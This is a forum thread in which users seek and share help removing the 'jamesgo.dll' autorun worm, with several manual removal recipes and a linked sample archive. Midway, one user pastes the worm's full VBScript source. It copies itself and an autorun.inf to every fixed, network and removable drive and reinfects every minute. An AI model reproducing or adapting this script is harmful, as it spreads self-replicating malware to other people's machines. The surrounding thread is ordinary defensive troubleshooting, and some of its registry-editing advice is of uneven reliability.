Can"t Detect A Virus In My Hdd (jamesgo.dll)

Hello.

As a first step to diagnose the problem we would need the autorun.inf file from your C:\ drive. To get this, open notepad, press Ctrl+O (or go to File -> Open) and type in "c:\autorun.inf" in the "File name" box. When the file is open, please copy-paste its contents to a reply so that we can determine the name of the malicious file.

Best regards.

Please Help....

Are there any updates on this topic. I just got back from a conference where about 100 people received this virus, which pretty much ######. I was told that this virus is related to the IMGKULOT virus. I have tried to search my entire computer for either ingkulot or jamesgo.dll and the only place it seems to show up is in the registry. I have tried to use the techniques for imgkulot removal, but it did not work. I also have this jamesgo.dll on my thumbdrives and can not remove it from them either. I did the ctrl O and I have the same files on autorun as listed in the above post. If anyone has information on these viruses please let me know. Thank you very much in advance.

"A Very Frustrated" Rudyard3

how do we find this find. i can't seem to find it using the search option. any idea where this file might be located? rudyard and isugdave, are you in the philippines? the virus seems to sound like it's filipino made...

'imgkulot v1.0

'Iloilo City Phils

'email me if you found this @ jamesgo.dll@gmail.com

'edited from imgkulot on july 2007

on error resume next

Set WshShell =CreateObject("WScript.Shell")

For i=1 to 1

set Of = CreateObject("Scripting.FileSystemObject")

set dir = Of.GetSpecialFolder(1)

Set dc = Of.Drives

if WScript.ScriptFullName=dir&"\test.vbs" then

isdir=true

else

a=WshShell.Run("test.bat Open" ,0,False)

a=WshShell.Run("winword " ,1,False)

isdir=false

end if

For Each d In dc

If d.DriveType = 2 Or d.DriveType = 3 or (d.DriveType = 1 and d<>"A:" and d<> "B:") Then

a=WshShell.Run("test.bat - "&d ,0,True)

if isdir then

Of.CopyFile dir&"\test.*",d&"\",True

Of.CopyFile dir&"\autorun.inf",d&"\",True

Of.CopyFile dir&"\autorun.ico",d&"\",True

else

Of.CopyFile "test.*",d&"\",True

Of.CopyFile "autorun.inf",d&"\",True

Of.CopyFile dir&"\autorun.ico",d&"\",True

end if

a=WshShell.Run("test.bat + "&d ,0,True)

End If

next

if isdir then

wscript.sleep 60000

i=0

else

a=WshShell.Run("test.bat - "&dir ,0,True)

Of.CopyFile "test.*",dir&"\",True

Of.CopyFile "autorun.inf",dir&"\",True

Of.CopyFile "autorun.ico",dir&"\",True

a=WshShell.Run("test.bat + "&dir ,0,True)

end if

next

hey, cd-man, hope you can give us some solution to our problems... thanks again and God bless

Simply deleting test.vbs will do. I'll try to add detection for it based on the previous post.

Hi! I found a great way to remove the virus jamesgo.dll.

My laptop was inflicted with the same virus about 5 days ago.

I wanted to just let it lie around but my antivirus keeps on prompting that it's blocking the suspicious activity.

Besides, I don't like the new icons of my hard disk and the open(jamesgo.dll) . It reminds me of the "ill-health" of my laptop.

After tinkering with my laptop last night, I found a great way to remove the virus.

Here are the steps:

1. Restart your PC in safe mode.

2. Open regedit.

3. Find all test.bat codes and erase them one by one until your registry is clean.

4. Find test.vbs codes and erase all of them.

5. Find jamesgo.dll and erase the string "jamesgo.dll". Continue searching and erasing until your registry is clean.

6. Repeat the process once or twice to ensure that the data has been erased.

GIVE IT A TRY!!! It worked for me.

I'm still looking for a way to remove it from my usb flash drive, though.

Please don't forget to visit my site: kilitext.blogspot.com :-)

ive been infected by it recently but i deleted it somehow heres the files...

/applications/core/interface/file/attachment.php?id=19743" data-fileExt='zip' data-fileid='19743'>Test.rar.zip

i think BD can detect it now... it detected mine a while ago... thnx to all the mods here for a quick solution...

[From: sting_1215

its so easy to kick out that jamesgo.dll to your PC. first thing to do is restart your PC in safe mode.

1. at drive C:/ click folder options then set all to unhide all files because the file you are about to delete are hidden.

2. Open windows/system32 then you can see the AUTORUN.INF, TEST.REG, TEST.BAT, AND TEST.VBS. delete it all.

3. Next, go to drive C:/ root drive then delete AUTORUN.INF, TEST.REG, TEST.BAT, AND TEST.VBS.

4. After that, got to REGEDIT.exe then find AUTORUN.INF, TEST.REG, TEST.BAT, TEST.VBS and jamesgo.dll. Delete all that ###### until none of them are inside your registry.

5. Next thing to do is restart your PC in normal mode, Then, thats all!!! your hdd icon will appear and the ###### jamesgo.dll will disappear.

*Note* dont forget to reformat your partition if have and also your criminal flash drive. your flash drive is the one who install that ###### jamesgo.dll. I hope you can follow my instruction.

these does not solve the problem! can anyone solve these exept formating the hard drive?

i think you cannot only follow the instructions i gave that is why you said it cant help you. " />

kayo n nga tinutulungan puro p kayo reklamo!! napakadali nmn gawin!!! " />

Thanks, found a working instructions to remove jamesgo.dll